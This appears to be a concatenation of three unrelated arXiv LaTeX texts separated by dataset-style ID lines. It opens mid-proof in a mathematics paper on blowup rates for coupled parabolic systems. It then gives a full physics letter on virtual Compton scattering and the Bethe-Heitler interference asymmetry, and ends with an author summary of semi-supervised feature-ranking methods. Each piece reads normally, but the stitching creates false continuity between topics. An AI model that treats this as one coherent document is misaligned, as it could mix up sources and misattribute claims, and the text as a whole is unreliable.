From the invariance of system \eqref{sys:uv}-\eqref{def:fg1} under the scaling, $(g(x_0, \xi, \tau), h(x_0, \xi, \tau))$ also satisfies \eqref{sys:uv}-\eqref{def:fg1}. From \eqref{eq:deft0x0unique}, \eqref{eq:defx0t_0} and the asymptotic behavior \eqref{eq:asymuv1}, we have
$$\sup_{|\xi| \leq 2 |\log (T-t_0(x_0))|^{1/4}} \left|g(x_0, \xi, 0) - \Phi^*(K)\right| \leq \frac{C}{|\log (T - t_0(x_0))|^{1/4}} \to 0,$$
and
$$\sup_{|\xi| \leq 2 |\log (T-t_0(x_0))|^{1/4}} \left|h(x_0, \xi, 0) - \Psi^*(K)\right| \leq \frac{C}{|\log (T - t_0(x_0))|^{1/4}} \to 0,$$
as $|x_0| \to 0$. From the continuity with respect to initial data for system \eqref{sys:uv}-\eqref{def:fg1} associated to a space-localization in the ball $B(0, |\xi| < |\log (T-t_0(x_0))|^{1/4})$, we can show that
$$\sup_{|\xi| \leq 2 |\log (T-t_0(x_0))|^{1/4}, 0 \leq \tau < 1} \left|g(x_0, \xi, 0) - \hat{g}_{K}(\tau)\right| \leq \epsilon(x_0) \to 0,$$
and
$$\sup_{|\xi| \leq 2 |\log (T-t_0(x_0))|^{1/4}, 0 \leq \tau < 1} \left|h(x_0, \xi, 0) - \hat{h}_{K}(\tau)\right| \leq \epsilon(x_0) \to 0,$$
as $x_0 \to 0$, where
$$\hat g_{K}(\tau) = \Gamma(1 - \tau + bK^2)^{-\alpha}, \quad \hat h_{K}(\tau) = \gamma(1 - \tau + bK^2)^{-\beta},$$
is the solution of system \eqref{sys:uv}-\eqref{def:fg1} with constant initial data $(\Phi^*(K), \Psi^*(K))$.
Making $\tau \to 1$ and using \eqref{eq:defx0t_0} yields
\begin{align*}
u^*(x_0) &= \lim_{t \to T}u(x,t) = (T-t_0(x_0))^{-\alpha}\lim_{\tau \to 1}g(x_0, 0, \tau) \sim (T-t_0(x_0))^{-\alpha}\hat g_{K}(1),\\
v^*(x_0) &= \lim_{t \to T}v(x,t) = (T-t_0(x_0))^{-\beta}\lim_{\tau \to 1}h(x_0, 0, \tau)\sim (T-t_0(x_0))^{-\beta}\hat h_{K}(1),
\end{align*}
as $|x_0| \to 0$. Using the relation \eqref{eq:relx0at0}, we obtain
$$|\log(T - t_0(x_0))| \sim 2\log |x_0|, \quad T -t_0(x_0) \sim \frac{|x_0|^2}{2K^2 |\log |x_0||} \quad \text{as}\quad |x_0| \to 0,$$
hence,
$$u^*(x_0) \sim \Gamma \left(\frac{b|x_0|^2}{2|\log |x_0||} \right)^{-\alpha}, \quad v^*(x_0) \sim \gamma \left(\frac{b|x_0|^2}{2|\log |x_0||} \right)^{-\beta},$$
as $|x_0| \to 0$. This concludes the proof of part $(iii)$ of Theorem \ref{theo:1}. Note that part $(iii)$ directly gives the single point blowup which is the conclusion of part $(i)$. This completes the proof of Theorem \ref{theo:1}. For the proof of Theorem \ref{theo:2}, we refer to \cite{GNZihp18}.
\subsection{The exponential case \eqref{def:fg2}.} In this section we shall sketch those variants of the previous arguments which are required for the proof of Theorem \ref{theo:2}. All details of the proof can be found in \cite{GNZjde18}. The main difference between the two cases is the presence of the nonlinear gradient terms $\frac{|\nabla \Phi|^2}{\Phi}$ and $\frac{|\nabla \Psi|^2}{\Psi}$ in \eqref{sys:PhiPsi2} after making the change of variables \eqref{def:sim2}. In view of the approximate profile \eqref{def:pro2}, the control of these terms is delicate, in particular when the solution goes to zero in the intermediate zone. In order to treat them, we introduce a very careful control of the solution in a 3-fold shrinking set defined as follows: For $K_0 > 0$, $\epsilon_0 > 0$ and $t \in [0, T)$, we set
\begin{align*}
\mathcal{D}_1(t) &= \left\{x\; \Big\vert \; |x| \leq K_0 \sqrt{|\ln(T-t)|(T-t)} \right\}\\
&\quad \equiv \left\{x \;\big\vert \; |y| \leq K_0 \sqrt{s}\right\} \equiv \left\{ x \; \Big\vert \; |z| \leq K_0\right\},\\
\mathcal{D}_2(t) &= \left\{x \; \Big\vert \; \frac{K_0}{4} \sqrt{|\ln(T-t)|(T-t)} \leq |x| \leq \epsilon_0 \right\}\\
&\quad \equiv \left\{x \; \Big\vert\; \frac{K_0}{4} \sqrt{s} \leq |y| \leq \epsilon_0e^{\frac{s}{2}}\right\} \equiv \left\{ x \; \Big \vert\; \frac{K_0}{4} \leq |z| \leq \frac{\epsilon_0}{\sqrt s }e^{\frac s2} \right\},\\
\mathcal{D}_3(t) &= \left\{x\; \Big\vert \; |x| \geq \frac{\epsilon_0}{4} \right\} \equiv \left\{x \;\big\vert \; |y| \geq \frac{\epsilon_0}{4}e^{\frac{s}{2}}\right\} \equiv \left\{ x \; \Big\vert \; |z| \geq \frac{\epsilon_0}{4 \sqrt s}e^{\frac{s}{2}} \right\}.
\end{align*}
- In the \textit{blowup region} $\mathcal{D}_1$, we linearize \eqref{asy:PhiPsi2} around the approximate profile \eqref{def:pro2}, namely that $(\Lambda, \Upsilon) = (\Phi, \Psi) - (\varphi, \psi)$ solves the system
\begin{equation}\label{eq:LamUp2}
\partial_s \binom{\Lambda}{\Upsilon} = \Big(\mathcal{H} + \mathcal{M}_2 + V(y,s)\Big)\binom{\Lambda}{\Upsilon} + \binom{q}{p}\Lambda \Upsilon + \binom{R_1}{R_2} + \binom{G_1}{G_2},
\end{equation}
where $\mathcal{H}$ and $\mathcal{M}_2$ are defined by \eqref{def:Hc},
\begin{equation}\label{def:Vys2}
V(y,s) = \begin{pmatrix}
q\psi - 1 & \quad q\big(\phi - 1/p\big)\\ p\big(\psi - 1/q\big) & \quad p\phi - 1
\end{pmatrix} = \begin{pmatrix} V_1 &V_2 \\V_3 &V_4
\end{pmatrix},
\end{equation}
\begin{equation}\label{def:Gys2}
\binom{G_1}{G_2} = \binom{-|\nabla (\Lambda + \phi)|^2 (\Lambda + \phi)^{-1} + |\nabla \phi|^2\phi^{-1}}{-\mu|\nabla(\Upsilon + \psi)|^2(\Upsilon + \psi)^{-1} + \mu |\nabla \psi|^2 \psi^{-1}},
\end{equation}
and
\begin{equation}\label{def:Rys2}
\binom{R_1}{R_2} = \binom{-\partial_s \phi + \Delta \phi - \frac{1}{2}y\cdot \nabla \phi - \phi + q\phi\psi - |\nabla \phi|^2\phi^{-1}}{-\partial_s \psi + \mu\Delta \psi - \frac{1}{2}y\cdot \nabla \psi - \psi + p\phi\psi - \mu |\nabla \psi|^2\psi^{-1}}.
\end{equation}
The analysis is similar as for the polynomial case according to the decomposition \eqref{def:decom} and the definition \eqref{def:LUe}.\\
- In the intermediate region $\mathcal{D}_2$, we control $(u,v)$ by introducing the following auxillary functions $(\tilde u, \tilde v)$ defined for $x \ne 0$,
\begin{equation}\label{def:uvtilde}
\arraycolsep=1.6pt\def2{2}
\left\{\begin{array}{l}
\tilde{u}(x, \xi, \tau) = \frac{1}{q}\ln \sigma(x) + u\Big(x + \xi\sqrt{\sigma(x)}, t(x) + \tau \sigma(x)\Big),\\
\tilde{v}(x, \xi, \tau) = \frac{1}{p}\ln \sigma(x) + v\Big(x + \xi\sqrt{\sigma(x)}, t(x) + \tau \sigma(x)\Big),
\end{array} \right.
\end{equation}
where $t(x)$ is uniquely defined for $|x|$ sufficiently small by
\begin{equation}\label{def:tx}
|x| = \frac{K_0}{4}\sqrt{\sigma(x)|\ln \sigma(x)|} \quad \text{with} \quad \sigma(x) = T - t(x).
\end{equation}
By the scaling invariance of the problem, we see that $(\tilde{u}, \tilde{v})$ also satisfies system \eqref{sys:uv}-\eqref{def:fg2}. We prove that $(\tilde u,\tilde v)$ behaves for
$$|\xi| \leq \alpha_0\sqrt{|\ln \sigma(x)|}\quad \text{and} \quad \tau \in \left[\frac{t_0 - t(x)}{\sigma(x)},1\right)$$
for some $t_0 < T$ and $\alpha_0 > 0$, like the solution of the ordinary differential system
\begin{equation}
\partial_\tau \hat u = e^{p\hat v}, \quad \partial_\tau \hat v = e^{q\hat u},
\end{equation}
subject to the initial data
$$\hat u(0) = -\frac{1}{q}\ln \left[p\left(1 + \frac{K_0^2/16}{2(\mu + 1)}\right)\right], \quad \hat v(0) = -\frac{1}{p}\ln \left[q\left(1 + \frac{K_0^2/16}{2(\mu + 1)}\right)\right].$$
The explicit solution is given by
\begin{equation}\label{def:solUc}
\hat u(\tau) = -\frac{1}{q}\ln \left[p\left(1 - \tau + \frac{K_0^2/16}{2(\mu + 1)}\right)\right], \quad \hat v(\tau) =-\frac{1}{p}\ln \left[q\left(1 - \tau + \frac{K_0^2/16}{2(\mu + 1)}\right)\right].
\end{equation}
The analysis in $\mathcal{D}_2$ directly yields the conclusion of part $(iii)$ of Theorem \ref{theo:2}. \\
- In $\mathcal{D}_3$, we directly control $(u,v)$ by using the local in time well-posedness of the Cauchy problem for system \eqref{sys:uv}.\\
The following definition of the shrinking set to trap the solution is the crucial difference in comparison with the existence proof for the polynomial case.
\begin{definition}[Definition of a shrinking set] \label{def:St} For all $t_0 < T$, $K_0 > 0$, $\epsilon_0 > 0$, $\alpha_0 > 0$, $A > 0$, $\delta_0 > 0$, $\eta_0 > 0$, $C_0 > 0$, for all $t \in [t_0,T)$, we define $\;\mathcal{S}(t_0, K_0, \epsilon_0, \alpha_0, A, \delta_0, \eta_0, C_0, t)$ being the set of all functions $(u,v)$ such that
\begin{itemize}
\item[(i)] \textit{(Control in $\mathcal{D}_1$)} $\quad \binom{\Lambda(s)}{\Upsilon(s)} \in \mathcal{V}_A(s)$, where $\mathcal{V}_A(s)$ is introduced in Definition \ref{def:VA}.
\item[(ii)] \textit{(Control in $\mathcal{D}_2$)} For all $|x| \in \left[\frac{K_0}{4}\sqrt{|\ln(T-t)|(T-t)}, \epsilon_0\right]$, $\tau = \tau(x,t) = \frac{t - t(x)}{\sigma(x)}$ and $|\xi| \leq \alpha_0 \sqrt{\ln \sigma(x)}$,
\begin{align*}
\left|\tilde u(x,\xi, \tau) - \hat u(\tau)\right| \leq \delta_0, \quad |\nabla_\xi \tilde u(x, \xi, \tau)| \leq \frac{C_0}{\sqrt{|\ln \sigma(x)|}}, \\
\left|\tilde v(x,\xi, \tau) - \hat v(\tau)\right| \leq \delta_0, \quad |\nabla_\xi \tilde v(x, \xi, \tau)| \leq \frac{C_0}{\sqrt{|\ln \sigma(x)|}},
\end{align*}
where $\tilde u, \tilde{v}$, $\hat u$, $\hat v$, $t(x)$ and $\sigma(x)$ are defined in \eqref{def:uvtilde}, \eqref{def:solUc} and \eqref{def:tx} respectively.
\item[(iii)] \textit{(Control in $\mathcal{D}_3$)} For all $|x| \geq \frac{\epsilon_0}{4}$,
\begin{align*}
|\nabla_x ^i u(x,t) - \nabla_x ^i u(x, t_0)| \leq \eta_0 \quad \text{and} \quad |\nabla_x ^i v(x,t) - \nabla_x ^i v(x, t_0)| \leq \eta_0 \quad \text{for} \;\; i = 0,1.
\end{align*}
\end{itemize}
\end{definition}
\begin{remark} In comparison with Definition \ref{def:VA}, the shrinking set $\mathcal{S}$ has additional estimates in the domains $\mathcal{D}_2$ and $\mathcal{D}_3$. These estimates are crucially needed to achieve the control of the nonlinear gradient term $\binom{G_1}{G_2}$ appearing in \eqref{eq:LamUp2}.
\end{remark}
After defining the shrinking set $\mathcal{S}$ to trap the solution, we need a suitable initial data for \eqref{eq:LamUp2} so that the corresponding solution gradually belongs to $\mathcal{S}(t)$ for all $t \in [t_0, T)$. To this end, we consider the following functions depending on $(N+1)$ parameters $(d_0, d_1) \in \mathbb{R}^{1 + N}$:
\begin{align}
\binom{qu}{pv}_{d_0,d_1}(x,t_0) &= \binom{\hat u_*(x)}{\hat v_*(x)}\Big(1 - \chi_1(x,t_0)\Big) + \left\{\binom{1}{1}s_0 +\ln\left[\binom{\phi}{\psi}(y_0,s_0)\right]\right\} \chi_1(x,t_0) \nonumber\\
& + \ln \left\{\left(d_0\binom{f_0(y_0)}{g_0(y_0)} + d_1. \binom{f_1(y_0)}{g_1(y_0)}\right)\frac{A^2}{s_0^2}\chi(16y_0, s_0)\right\} \chi_1(x,t_0), \label{def:uvt0}
\end{align}
where $s_0 = -\ln(T-t_0)$, $y_0 = x e^{\frac{s_0}{2}}$, $\phi$ and $\psi$ are defined by \eqref{def:pro2}, $\binom{f_0}{g_0}$ and $\binom{f_1}{g_1}$ are the eigenfunctions introduced in Lemma \ref{lemm:diagonal}, $\chi$ is the cut-off function defined by \eqref{def:chi},
$$\chi_1(x,t_0) = \chi_0 \left(\frac{|x|}{|\ln(T-t_0)| \sqrt{T-t_0}}\right) = \chi_0\left(\frac{y_0}{s_0}\right),$$
and $(\hat u_*, \hat v_*) \in \mathcal{C}^\infty(\mathbb{R}^N \ \{0\}) \times \mathcal{C}^\infty(\mathbb{R}^N \setminus \{0\})$ is defined by
\begin{equation*}\label{def:ustar}
\hat u_*(x) = \left\{\begin{array}{ll}
\ln\left(\frac{4(\mu + 1)|\ln |x||}{p|x|^2}\right) &\quad \text{for}\quad |x| \leq C(a),\\
-\ln\left(1 + a |x|^2\right) &\quad \text{for} \quad |x|\geq 1,
\end{array}
\right.
\end{equation*}
\begin{equation*}\label{def:vstar}
\hat v_*(x) = \left\{\begin{array}{ll}
\ln\left(\frac{4(\mu + 1)|\ln |x||}{q|x|^2}\right) &\quad \text{for}\quad |x| \leq C(a),\\
-\ln\left(1 + a |x|^2\right) &\quad \text{for} \quad |x|\geq 1.
\end{array}
\right.
\end{equation*}
After having a proper definition of initial data and the shrinking set, the remaining step is to show that there exists $(d_0, d_1) \in \mathbb{R}^{1 + N}$ such that system \eqref{sys:uv}-\eqref{def:fg2} with initial data \eqref{def:uvt0} has a unique solution $(u,v) \in \mathcal{S}(t)$ for all $t \in [t_0, T)$. The main argument of this step is exactly the same as for the polynomial case, i.e. the proof of Proposition \ref{prop:goalVA}. We refer the interested reader on the reduction to a finite dimensional problem to Section 4 in \cite{GNZjde18} for all details. This concludes the proof of Theorem \ref{theo:2}.
\def$'${$'$}
|
1,477,468,750,004 | arxiv | \section{Introduction}
We investigate Virtual Compton Scattering (VCS) in the time-like region of
the photon momentum $k^2$, the
process where the incoming photon is real with a virtual outcoming photon,
decaying into an electron-positron pair. One important reason for
investigating VCS is to extract the nucleon form factor in the `unphysical'
region, $k^2<4M^2$ ($M$ is the nucleon mass), where no data exist.
In this letter physics is addressed related to
the more general electromagnetic structure of the nucleon, such as
off-shell effects in the N-N-$\gamma$ vertex and the longitudinal response
of nucleon resonances. The main complication in VCS is the huge
`background' due to the well known Bethe-Heitler (BH) process. In
Ref.~\cite{Scha95} the electromagnetic vertex in the unphysical region has
also been considered where it was shown that, due to this large BH
contribution, only at large opening angles of the lepton pair
information on the time-like form factor could be extracted. As shown in
this letter the interference with the BH-background can be exploited to make
VCS a sensitive measure for nucleon structure.
\begin{figure}[hbtp]
\begin{center}
\leavevmode
\epsfysize=14cm
\rotate[r]
{\epsfbox[114 96 344 800]{c:/projects/Compton/figures/feynvcs.ps}}
\caption[feyn]{\figlab{feyn}
The tree-level Feynman graphs included in the calculation where diagrams a and b
correspond to the Bethe-Heitler process. Circled dots represent vertices
where off-shell effects are considered, double lines represent nucleon
resonances, and the dashed line is a $\pi^0$.
}\end{center}
\end{figure}
Following an idea originally proposed in~\cite{Alv73} and more
recently investigated in~\cite{Lvo96} the BH-process can be used
to ones advantage. The lepton pair emerging from the BH process
interacts with two photons (see Fig.~1a,b) and thus has positive
charge-conjugation parity (C-parity)~\cite{Bjo58}. The lepton pair from the nuclear
process (Fig.~1c-h) interacts with a single (virtual) photon and
thus has negative C-parity. The different symmetry of the two matrix
elements under C-parity implies that of
the three terms in the differential VCS cross section,
\be
d\sigma(e^+,e^-) \propto \left| {\cal M}_{BH} + {\cal M}_N \right|^2= |{\cal
M}_{BH}|^2 + |{\cal M}_N|^2 + 2 Re ({\cal M}_{BH} {\cal M}_N^*) \;,
\ee
the first two terms on the right-hand side are symmetric under the
interchange of $e^{+}$ and $e^{-}$ while the last one is
anti-symmetric. The Bethe-Heitler-nuclear (BH-N) interference can thus be
measured directly through the asymmetry
\be
A_{BH-N}={d\sigma(e^+,e^-) - d\sigma(e^-,e^+) \over d\sigma(e^+,e^-) +
d\sigma(e^-,e^+)} = {2 Re({\cal M}_{BH} {\cal M}_N^*) \over |{\cal
M}_{BH}|^2 + |{\cal M}_N|^2 } \;.
\ee
where $d\sigma(e^-,e^+)$ is the cross section under the same kinematic
conditions as $d\sigma(e^+,e^-)$ with only an interchange of the leptonic
charges. In the following the discussion is limited to this asymmetry.
To have a clear link to the nuclear process we have chosen as kinematical
variables not the momenta of the electron ($k_1$) and positron ($k_2$), but
instead $k^2$ (where $k=k_1 + k_2$, the momentum of the virtual photon in
the diagrams in Fig.~1c-h), $\theta_k$ (the angle between $\vec{k}$ and the
incoming real photon), $\theta_d$, (the polar angle between $\vec{k}$ and
$\vec{k_d}=\vec{k_1}-\vec{k_2}$), and $\phi_d$ (the azimuthal angle between
the reaction plane and that of the $e^{+}e^{-}$-pair). In these variables
interchanging the leptonic charges corresponds to changing $\vec{k_d}$ to
$-\vec{k_d}$. It should be noted that due to reflection symmetry with
respect to the reaction plane the asymmetry vanishes for $\phi_d=90^o$, the
results are henceforth quoted for the in-plane conditions $\phi_d=0^o$. For
a polarized real photon or a polarized target this reflection symmetry is
broken~\cite{Lvo96}.
In the calculations only the $\Delta$- and the Roper- (P$_{11}$) resonances
have been included. The width of the resonances is generated in the
unitarized K-matrix approach through the coupling to the one-pion decay
channel. Parameters in the N-$\gamma$-resonance vertices have been choosen
to obtain a best fit to the real Compton-scattering cross sections at photon
energies $E_{\gamma}=150 \div 370$ MeV. For details of the model and the
default parameters we refer to Ref.~\cite{Sch96} (parameter set\#2).
In the present discussion of VCS we will focus on terms in the
electromagnetic vertices that cannot be studied in real Compton scattering.
Since their effects generally increase with increasing $k^2$, we limit the
present discussion to $k^2$ close to the kinematical limit
($\sqrt{s}=\sqrt{k^2}+M$). Even in these kinematical conditions the nuclear
matrix element is still dominated (to more than 90\%) by
transverse-polarized virtual photons, the longitudinal response plays a much
smaller role than expected. Inclusion of nucleon resonances in the
calculation is thus important. Since only the lowest two nucleon resonances
are included in the model we performed calculations at $E_{\gamma}=500$ MeV
in the lab, corresponding to $\sqrt{s}=1.349$ GeV, and at $\sqrt{k^2}=406$
MeV (photon invariant mass for the nuclear contribution). At this energy
also higher resonances such as especially the D$_{13}$ may be important for
the detailed results, but not for the general discussion and conclusions in
this letter as we have verified. For the $k^2$ dependence of the nucleon and
N-$\gamma$-resonance transition form factors we used the dipole fit for
negative $k^2$ and Vector Meson Dominance (VMD) model for positive $k^2$.
Note that eventhough the longitudinal response contributes little to the nuclear matrix
element, it strongly affects the asymmetry.
\begin{figure}[hbtp]
\begin{center}
\leavevmode
\epsfxsize=7cm
{\epsfbox[36 50 338 774]{c:/projects/Compton/figures/vcsp.ps}}
\caption[asym]{\figlab{asym}
Asymmetry in the center-off-mass system calculated as discussed in the text.
In the top panel the
opening angle of the lepton pair, $\theta_d$, is kept fixed, while
the direction $\theta_k$ of the lepton pair momentum varies.
In the lower two panels the asymmetry is plotted as function of $\theta_d$
at fixed $\theta_k$. The curves `G$_3$' show the
contribution of the longitudinal coupling to the $\Delta$-resonance, the curves
`$\partial F_1$' and `$F_1^-$' display the effect of the inclusion of the
off-shell form factors in the N-N-$\gamma$ vertex.
The effect of switching off the contact term \eqref{contact} (for the calculation
`$F_1^-$') is shown by the dashed-dotted curves. The effect of the
$q^2$-dependence in the form factors can be seen from the curves `no VMD'.
}\end{center}
\end{figure}
The VCS matrix element depends strongly on the parameters in the
N-$\gamma$-resonance vertices. For simplicity and as an example we limit
ourselves to the discussion of the longitudinal part of the N-$\Delta$-$\gamma$
vertex~\cite{Jon73}, proportional to G$_3$, which does not contribute to
real Compton scattering.
In Fig.~2 the curves labelled `G$_3$' show the
calculated asymmetry $A_{BH-N}$ for G$_3 =20$ which can be compared with the
calculations using default parameters (G$_3=0$, curves labelled `norm'). At
backward angles (lower panel of Fig.~2) the effect of G$_3$ is not just an
overall enhancement of the interference pattern but introduces a change in
the structure. This is due to a changing ratio of longitudinal v.s.\
transverse response which is reflected in a different
dependence~\cite{Kor96} on the opening angle $\theta_d$. We also find that
the asymmetry depends strongly on the off-shell parameter
$z_3$~\cite{Pas95}. The results shown in Fig.~2 have been obtained for
$z_3=-0.5$, at $z_3=0$ the dependence on G$_3$ almost vanishes.
It is known that the N-N-$\gamma$ vertex for off mass-shell nucleons has a
more complicated structure~\cite{Nau87,Tie90,Bos93,Doe95} than that for the free nucleon. The corresponding
form factors depend on all Lorentz invariants that can be
formed from the momenta at the vertices, not only the photon invariant
mass $q^2$. In particular we will consider the dependence on the
invariant mass $W$ of the intermediate nucleon in the diagrams Fig.~1c,d.
For sake of simplicity we limit ourselves to a half-off-shell vertex of the structure
\be
\Gamma^{\mu}_{NN\gamma} &=& \hat{e} \gamma^\mu +
\tilde{F}_1 (q^2) {\cal O}_1 (p') (q^{\mu} \vslash{q} - q^2 \gamma^\mu)
{\cal O}_1 (p) \nonumber \\
&&+ {F}_2 (q^2) {\cal O}_2 (p') i {\hat{\kappa} \over 2M} \sigma^{\mu \nu}
q_{\nu} {\cal O}_2 (p)
\eqlab{vertex}
\ee
based on a Taylor-series expansion, with
\be
{\cal O}_i (p)= 1 + (A_i + B_i {\vslash{p} \over M} ) ({\vslash{p} \over M} -1) \;,
\eqlab{off}
\ee
and $q=p'-p$ ($\hat{e}=1(0)$ for the proton (neutron)). Here $F_1 (q^2) =\hat{e} - q^2 \tilde{F}_1 (q^2)$
and $F_2 (q^2)$ correspond to the usual Dirac and Pauli form
factors in the VMD model. The off-shell dependence is
introduced by the operators ${\cal O}_i$ normalized such that
\be
{\cal O}_i (p) u(p)=u(p) \;,
\eqlab{u}
\ee
when $u(p)$ is a positive-energy solution of
the free Dirac equation. The off-shell effects are illustrated through the
relations
\be
{\partial {\cal O}_i (p) \over \partial \vslash{p} } u(p)&=&{A_i +B_i
\over M} u(p)
\eqlab{der}\\
{\cal O}_i (p) v(p)&=&(1- 2 (A_i - B_i ))\, v(p) \;,
\eqlab{v}
\ee
where $v(p)$ is a negative-energy state. Choosing $A_i=B_i=0$ corresponds
the conventional form for the free nucleon vertex.
The diagrams in Fig.~1c-g satisfy gauge invariance if off-shell
effects are absent. Inclusion of these leads to a violation of
current conservation and thus requires additional terms in the reaction
amplitude eventhough the vertices in \eqref{vertex} obey the Ward-Takahashi
identity for the reducible vertex. Using constraints imposed by the current conservation
with respect to initial and final photons (see~\cite{Sche96}) one can
construct an effective N-N-$\gamma$-$\gamma$ vertex (Fig.~1h) to correct
gauge invariance.
The corresponding vertex (called here the contact term) for the off-shell
dependence in \eqref{off} takes the form
\be
\Gamma^{\mu\nu}_{NN\gamma\gamma^*}&=& 2\hat{e} \tilde{F}_1 (k^2)
{(A_1 - B_1) \over M} \left( k^2 g^{\mu\nu}-k^{\mu} k^{\nu} \right)
\nonumber \\
&& + 2 \hat{e} \tilde{F}_1 (k^2) {B_1 \over M^2}
(p+p')^{\mu} (k^2 \gamma^{\nu} - k^{\nu} \vslash{k}) \nonumber \\
&& + \hat{e} {\hat{\kappa} \over 2M} {(A_2 - B_2) \over M} \left[
(\gamma^{\mu} \vslash{q} \gamma^{\nu} - \gamma^{\nu} \vslash{q} \gamma^{\mu}) +
F_2(k^2)( \gamma^{\mu} \vslash{k} \gamma^{\nu}
- \gamma^{\nu} \vslash{k} \gamma^{\mu} ) \right] \nonumber \\
&& + 2 i \hat{e} {\hat{\kappa} \over 2M} {B_2 \over M^2} \left[
-(p+p')^{\nu} \sigma^{\mu\rho} q_{\rho} + F_2(k^2) (p+p')^{\mu}
\sigma^{\nu\rho} k_{\rho} \right] \; .
\eqlab{contact}
\ee
Here the index $\mu$ ($\nu$) and momentum $q$ ($k$) refer
to the real (virtual) photon. One should keep in mind that the off-shell
effects may be different for different representations of the same theory.
This has been shown for the case of real Compton scattering off the
pion~\cite{Sche95} and in a different context in~\cite{Dav96}. The off-shell
effects addressed in the present paper are defined within a particular
representation for the effective Lagrangian. Note that the structure of
this contact term is not unique and ambiguities in its structure
may be as important as the effect of the off-shell dependence itself.
The physics of the contact term can be understood as follows. Introducing
an explicit nucleon-momentum dependence in the vertex corresponds in
coordinate space to creation and annihilation of the nucleon at different
positions, i.e.\ the introduction of some general finite size effects. When
the nucleon is charged this corresponds to violation of current
conservation. An additional contact term should therefore be included
corresponding to the coupling of the photon to the current which was not
accounted for. Alternatively, in a one-pion loop model for form factors,
off-shell effects arise through the fact that the (virtual) photon can
couple to both the nucleon and the pion in the loop. Inserting this vertex
in a calculation where one deals with two photons, like Compton scattering,
one should in addition take into account that the other photon couples also
to the charged particles in the loop. This effect leads to an effective
N-N-$\gamma$-$\gamma$ vertex.
The VCS matrix element depends strongly on off-shell dependences in both
the Dirac and Pauli terms in \eqref{vertex}.
Since the effect of the Pauli term can also be investigated in real
Compton scattering we will limit the present discussion to the Dirac term
and henceforth take $A_2=B_2=0$. One can
distinguish two cases:
\begin{itemize}
\item[$\partial F_1$:] $A_1=B_1$ in \eqref{vertex} corresponds to the equal coupling for negative-
and positive-energy states (see \eqref{v}) and a non-vanishing derivative of the
coupling at the on-shell point (see \eqref{der}). The calculation for
$A_1=B_1=1$ is labelled `$\partial F_1$' in Fig.~2.
\item[$F_1^-$:] $A_1=-B_1$ in \eqref{vertex}, in contrast, corresponds to a the vanishing
derivative and a different coupling for positive- and negative-energy
states (compare \eqref{u} and \eqref{v}). The calculation for $A_1=-1$,
$B_1=1$ is labelled `$F_1^-$' in Fig.~2.
\end{itemize}
From Fig.~2 it is apparent that both
dependences give rise to comparable effects in the asymmetry of about 5\% in
$A_{BH-N}$. Under conditions further away from the kinematical limit,
which means smaller values of the photon invariant mass at fixed $\sqrt{s}$,
the effects of these terms becomes even less.
As remarked, the construction of the contact term \eqref{contact} is not
unique and we therefore compare results with a calculation in which the contact
term is switched off. This leads to a violation of current conservation,
however, it may give an estimate of the importance of this contact term. In the
`$\partial F_1$' calculation the contact term does not affect the results,
while in the `$F_1^-$' calculation it appears responsible for suppressing
most of the off-shell dependence (compare curves `$F_1^-$' and `$F_1^-,NC$' in
Fig.~2).
The calculations of ref.~\cite{Doe95}, based on a one-loop model and VMD,
indicate that the values of the parameters $A_1$ and $B_1$ are of the order
of 0.1, much smaller than the values of the off-shell parameters $A_2$ and
$B_2$ that enter in the Pauli form factor which are of the order of $1/4$.
As a result for realistic cases one expects the off-shell effects to be
negligible in the asymmetry.
The $k^2$ dependence of the form factors is also reflected in the
asymmetry. Neglecting this dependence in all vertices changes the results
considerably (see Fig.~2, curves labelled `no VMD'). At the backward angle the
interference pattern is affected which offers the possibility to disentangle
the $k^2$ dependence from off-shell effects. Therefore measurement of the
asymmetry allows for a verification of the VMD model in the region $k^2 <
M^2$, which could be complementary to the suggestion in~\cite{Scha95} to
study form factors in the dilepton mass spectra under symmetrical conditions
($\theta_k =0^o$ or $180^o$, $\theta_d =90^o$). However, to obtain
information on the form factors in the interesting region $k^2 \approx
m_{\rho}^2$ ($m_{\rho}$ is the mass of the $\rho$-meson) one has to study
VCS at higher photon energies where, of course, contributions of the higher
nucleon resonances should be accurately taken into account.
It can be concluded that the asymmetry in VCS offers an interesting tool to
study the longitudinal response of nucleon resonances and electromagnetic
form factors of the nucleon. In view of the results of~\cite{Alv73} we
believe that in modern experiments it should be possible to distinguish
the different effects. The most interesting region is at backward
virtual-photon angles close to the kinematical limit where from the
$\theta_d$ dependence it appears to be possible to verify the VMD model and
to separate the longitudinal response of resonances.
\vspace{1cm}
We acknowledge discussions with S. Nagorny and A.E.L. Dieperink.
One of the authors (A.Yu.K.) acknowledges the financial support from
the Nederlandse Organisatie voor Wetenschappelijk Onderzoek (NWO).
He would also like to thank the staff
of the Kernfysisch Versneller Instituut in Groningen for the kind hospitality.
|
1,477,468,750,005 | arxiv | \section{What is the main claim of the paper? Why is this an important contribution to the machine learning literature?}
We propose two widely applicable feature ranking approaches for semi-supervised learning (SSL).
SSL feature ranking (or SSL in general) applies when labeling all the data takes too much time or costs too much,
and we show that the proposed approaches successfully outperform their supervised analogs that take into account only the labeled examples,
and that they offer state-of-the-art performance.
The wide applicability of the approaches refers to the fact that they can be used for five different predictive modeling tasks:
SSL classification, SSL multi-label classification (MLC), SSL hierarchical-multi-label classification (HMLC), SSL (single-target) regression (STR) and SSL multi-target regression (MTR).
More specifically, within the first proposed approach we proposed several variants based on the ensemble feature ranking scores (Symbolic, Genie3 and Random Forest) that can be coupled with three ensemble methods (bagging, random forests, extra trees). The second approach is distance-based and extends the Relief family of feature ranking algorithms.
Computing feature ranking contributes to the field of SSL in two ways. First, it can be used for explaining the predictions of complex
black-box models, and second, it can be used to perform dimensionality reduction, i.e., performing feature selection.
As for the three structured output prediction tasks (MLC, HMLC, MTR), the proposed feature ranking algorithms are the first that can make use of unlabeled data.
\section{What is the evidence you provide to support your claim? Be precise.}
We extensively evaluate the proposed scores on 38 benchmark problems, and show that if basic SSL assumption is met,
the proposed SSL-ranking methods achieves state-of-the-art performance. In many cases, the basic SSL assumption is not even necessary.
This is done by assessing the performance of different feature ranking algorithms, for different numbers $L$ of labeled examples in the data,
and comparing the corresponding curves consisting of points $(L, \mathit{performance}_L)$.
For simplicity, we fist determine the most appropriate ensemble method for every feature ranking score and then
empirically prove that the proposed feature ranking scores outperform i) current state-of-the-art SSL-feature-ranking methods (should they exist (e.g., Laplace in the STR case)), and ii) the supervised analogs of the proposed scores.
Finally, we determine which of the proposed feature scores is the best, taking into account the quality of the rankings and - when there are no clear winners - time efficiency. The best score, as might be expected, is task-dependent, but mostly, one of the ensemble-based scores performs best, e.g., Symbolic score outperforms the others for both STR and MTR regression.
